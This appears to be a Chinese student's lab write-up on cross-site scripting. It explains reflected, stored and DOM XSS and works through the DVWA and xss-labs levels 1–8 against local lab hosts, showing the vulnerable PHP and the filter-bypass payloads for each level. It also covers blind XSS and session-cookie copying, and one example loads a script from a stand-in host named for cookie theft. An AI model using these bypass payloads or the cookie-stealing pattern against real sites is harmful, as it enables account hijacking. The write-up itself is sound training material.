XSS漏洞(跨站脚本攻击)
XSS 是一种经常出现在 Web 应用中的计算机安全漏洞,它允许恶意 Web 用户将代码植入到提供给其它用户使用的页面中。
<script>alert(/xss/)</script>
|
DOM型
不经过服务器解析,整个漏洞利用过程发生在客户端的DOM(文档对象模型)解析阶段。攻击者构造一个特殊的URL,其中包含恶意脚本片段。当用户点击这个URL时,网站的JS代码会错误地将恶意片段当作正常内容写入DOM,从而导致脚本执行。
<script> var welcome = "Welcome, " + document.location.hash.substring(1); document.getElementById('msg').innerHTML = welcome; </script>
https://example.com/welcome.html#<img src='x' onerror='alert("XSS")'>
|
反射型(不当宣传)
恶意脚本由服务器解析但没有存储在服务器上,攻击者诱骗用户点击一个精心构造的链接,这个链接中包含恶意脚本作为参数。当用户点击链接,服务器收到请求并将恶意参数直接返回给用户的浏览器,浏览器误以为这是页面的一部分,从而执行了恶意代码。
<script>alert('XSS')</script> <script>alert(/XSS/)</script>
|
存储型(水坑攻击)
攻击者将恶意脚本提交到目标网站的数据库中(例如留言、评论、用户名等)。当其他正常用户浏览包含这些内容的页面时,恶意脚本会从服务器加载到他们的浏览器中并执行。
<script>src="http://hacker.com/steal-cookie.js"</script>
|
区别
| 特性 |
反射型XSS |
存储型XSS |
基于DOM的XSS |
| 存储位置 |
不存储,通过URL传递 |
存储在服务器数据库中 |
不存储,通过URL传递 |
| 持久性 |
非持久(一次性) |
持久 |
非持久(一次性) |
| 谁执行恶意代码 |
服务器返回,浏览器执行 |
服务器返回,浏览器执行 |
客户端JS写入,浏览器执行 |
| 服务器参与 |
是,反射恶意代码 |
是,存储并返回恶意代码 |
否,整个过程在客户端完成 |
| 危害范围 |
较低,需要诱骗点击 |
极高,影响所有访问者 |
中等,需要诱骗点击 |
| 检测难度 |
较容易 |
较容易 |
较困难 |
POC:漏洞验证程序
EXP:漏洞利用/攻击程序
payload:造成恶意攻击的核心代码
1、通关dvwa靶场三个难度的反射型xss
XSS (Reflected)
low等级
<script>alert(/xss/)</script>
|

medium等级
<script>alert(/xss/)</script>
|

查看代码发现,通过 str_replace 函数将关键字 <script> 替换为空(做了个删除操作),由于这里是精确匹配,那么可以通过大小写混写的操作绕过
<?php
header ("X-XSS-Protection: 0");
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { $name = str_replace( '<script>', '', $_GET[ 'name' ] );
echo "<pre>Hello ${name}</pre>"; }
?>
|
使用大小写混写尝试XSS
<ScRiPt>alert(/xss/)</sCrIpT>
|

high等级
先使用大小写尝试看看什么情况
<ScRiPt>alert(/xss/)</sCrIpT>
|

继续查看源代码查找攻击点
<?php
header ("X-XSS-Protection: 0");
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
echo "<pre>Hello ${name}</pre>"; }
?>
|
使用 img 标签尝试
<img src=1 onerror=alert(/xss/)>
|

使用 svg 标签绕过

2、演示反射型,存储型,DOM型XSS漏洞,说明三者的区别
反射型XSS
恶意脚本由服务器解析但没有存储在服务器上,攻击者诱骗用户点击一个精心构造的链接,这个链接中包含恶意脚本作为参数。当用户点击链接,服务器收到请求并将恶意参数直接返回给用户的浏览器,浏览器误以为这是页面的一部分,从而执行了恶意代码。
<script>alert(/xss/)</script>
|

存储型XSS
攻击者将恶意脚本提交到目标网站的数据库中(例如留言、评论、用户名等)。当其他正常用户浏览包含这些内容的页面时,恶意脚本会从服务器加载到他们的浏览器中并执行。
<script>alert(/xss/)</script>
|

再次进入此界面,发现服务器自动解析了 XSS 代码显示在浏览器上

DOM型XSS
不经过服务器解析,整个漏洞利用过程发生在客户端的DOM(文档对象模型)解析阶段。攻击者构造一个特殊的URL,其中包含恶意脚本片段。当用户点击这个URL时,网站的JS代码会错误地将恶意片段当作正常内容写入DOM,从而导致脚本执行。
http://192.168.142.144/dvwa-master/vulnerabilities/xss_d/?default=<script>alert(/xss/)</script>
|
这里是一个下拉选项卡,使用 get 方法传递参数,直接在后面拼接 XSS 代码然后在 DOM 节点进行解析执行

三者区别
| 特性 |
反射型XSS |
存储型XSS |
基于DOM的XSS |
| 存储位置 |
不存储,通过URL传递 |
存储在服务器数据库中 |
不存储,通过URL传递 |
| 持久性 |
非持久(一次性) |
持久 |
非持久(一次性) |
| 谁执行恶意代码 |
服务器返回,浏览器执行 |
服务器返回,浏览器执行 |
客户端JS写入,浏览器执行 |
| 服务器参与 |
是,反射恶意代码 |
是,存储并返回恶意代码 |
否,整个过程在客户端完成 |
3、通关xss-lab1-8关卡,根据关卡的源码去解释一下自己为什么能通关,关卡如何防御的
XSS-labs-level-1
<!-- 关键代码 -->
<?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>欢迎用户".$str."</h2>"; ?>
<!-- 由于对 GET 传入的参数未做任何限制与过滤就直接输出用户输入的数据。若直接输入 XSS 代码服务器会直接解析然后返回 -->
<script>alert(/xss/)</script>
|

XSS-labs-level-2
<!-- 关键代码 -->
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value="搜索"/> </form> </center>'; ?>
<!-- 在 h2 标签使用了 html 实体编码 htmlspecialchars 方法,但是在 input 标签中未做实体编码而是直接使用,可以利用 input 标签让其先闭合再执行 XSS 代码 -->
"><script>alert(/xss/)</script>
|

XSS-labs-level-3
<!-- 关键代码 -->
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 /> </form> </center>"; ?>
<!-- 在 h2 标签使用了 html 实体编码 htmlspecialchars 方法,也在 input 标签中做了实体编码,这里就使用 input 标签的 onclick 操作,在点击输入框会执行 alert(1) 的操作 -->
' onclick='alert(1)
’onmouseover='alert(1) <!-- 当鼠标移到元素时弹出提示框 -->
|

XSS-labs-level-4
<!-- 关键代码 -->
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
<!-- 在 h2 标签使用了 html 实体编码 htmlspecialchars 方法,并且在获取参数时对参数中的 < 符号进行替换,同样 input 的 value 字段没有进行实体编码,那使用 onclick 进行测试 -->
" onclick="alert(1)
|

XSS-labs-level-5
<!-- 关键代码 -->
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
<!-- 在 h2 标签使用了 html 实体编码 htmlspecialchars 方法,并且在获取参数时先全部转换成小写,然后对参数中的 <scriipt 和 on 进行替换,但是 input 的 value 字段没有进行实体编码,那么使用 JavaScript 伪协议绕过进行测试 -->
"><a href='javascript:alert(/xss/)'>
|
<input name=keyword value=""><a href='javascript:alert(/xss/)'>">
|

XSS-labs-level-6
<!-- 关键代码 -->
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level6.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
<!-- 在 h2 标签使用了 html 实体编码 htmlspecialchars 方法,并对参数中的 <scriipt 、on 、src 、data 、href 关键字进行替换,但是 input 的 value 字段没有进行实体编码,并且代码中没有进行大小写转换,那么使用大小写混写即可绕过 -->
"><ScRiPt>alert(/xss/)</sCrIpT>
|

XSS-labs-level-7
<!-- 关键代码 -->
<?php ini_set("display_errors", 0); $str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level7.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
<!-- 在 h2 标签使用了 html 实体编码 htmlspecialchars 方法,在获取参数时先全部转换成小写,然后对参数中的 scriipt 、on 、src 、data 、href 关键字进行替换,但是 input 的 value 字段没有进行实体编码,这里再进行替换时相当于删除关键字,那么使用双写重复写入关键字绕过 -->
" oonnclick="alert(1) "><a hrhrefef='javasscriptcript:alert(/xss/)'> "><scscriptript>alert(/xss/)</scscriptript>
|

XSS-labs-level-8
<!-- 关键代码 -->
<?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center> <form action=level8.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?>
<!-- 在 h2 标签使用了 html 实体编码 htmlspecialchars 方法,在获取参数时先全部转换成小写,然后对参数中的 scriipt 、on 、src 、data 、href 、" 关键字进行替换,但是 input 的 value 字段没有进行实体编码,这里替换严格测试使用 javascript 伪协议实体编码绕过 -->
<!-- 十六进制实体编码 --> javascript:alert(/xss/) <!-- 十进制实体编码 --> javascript:alert(/xss/)
|

4、将1-8关代码里的防御手段所涉及到的函数都使用一遍,看一下效果
<?php header('Content-Type: text/html; charset=utf-8'); function str_replace_l4($str) { $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); return $str3; }
function str_replace_l5($str) { $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); return $str3; }
function str_replace_l6($str) { $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); return $str6; }
function str_replace_l7($str) { $str1 =strtolower($str); $str2=str_replace("script","",$str1); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); return $str6; }
function str_replace_l8($str) { $str1 = strtolower($str); $str2=str_replace("script","scr_ipt",$str1); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); return $str7; } define("STR", "<script, script, ON, Src, data, href, '");
echo "进行html实体编码:" . htmlspecialchars(STR) . "<br>" . "<br>"; echo "进行尖括号替换:" . htmlspecialchars(str_replace_l4(STR)) . "<br>" . "<br>"; echo "尖括号script和on关键字替换:" . htmlspecialchars(str_replace_l5(STR)) . "<br>" . "<br>"; echo "尖括号script/on/src/data/href关键字替换:" . htmlspecialchars(str_replace_l6(STR)) . "<br>" . "<br>"; echo "script/on/src/data/href关键字替换:" . htmlspecialchars(str_replace_l7(STR)) . "<br>" . "<br>"; echo "尖括号script/on/src/data/href/和单引号关键字替换:" . htmlspecialchars(str_replace_l8(STR)) . "<br>" . "<br>";
?>
|

5、使用一下xss盲打操作
XSS盲打
XSS盲打是一种特殊类型的存储型XSS攻击,其特殊之处在于:攻击者输入恶意 payload 后,无法立即看到执行效果。这个 payload 会被存储在后端,只有当特定的、特权用户(通常是管理员)访问到某个特定的页面时,payload 才会在其浏览器中触发执行。
尝试
前端留言版输入XSS代码<script>alert(/xss/)</script>

然后登录管理员查看留言,发现弹窗实现了XSS盲打

扩展:尝试将pikachu靶场的cookie手动写入到另一个浏览器
尝试将 firefox 浏览器中 plkachu 靶场的 cookie 写入 edge 浏览器
首先在 firefox 浏览器的 pikachu 靶场登录后按下F12找到存储,找到 pikachu 靶场的 cookie

接着打开 edge 浏览器,登录
http://192.168.142.144/pikachu-master/vul/xss/xssblind/admin_login.php
发现需要登录

尝试复制 cookie,到edge浏览器按下F12点击cookie,选择要添加cookie的网址,在右侧右键选择添加

将之前firefox浏览器的相对应的字段复制上去

复制完成后刷新页面,发现显示页面为 firefox 浏览器登录后的界面,cookie复制成功
扩展:尝试安装xss平台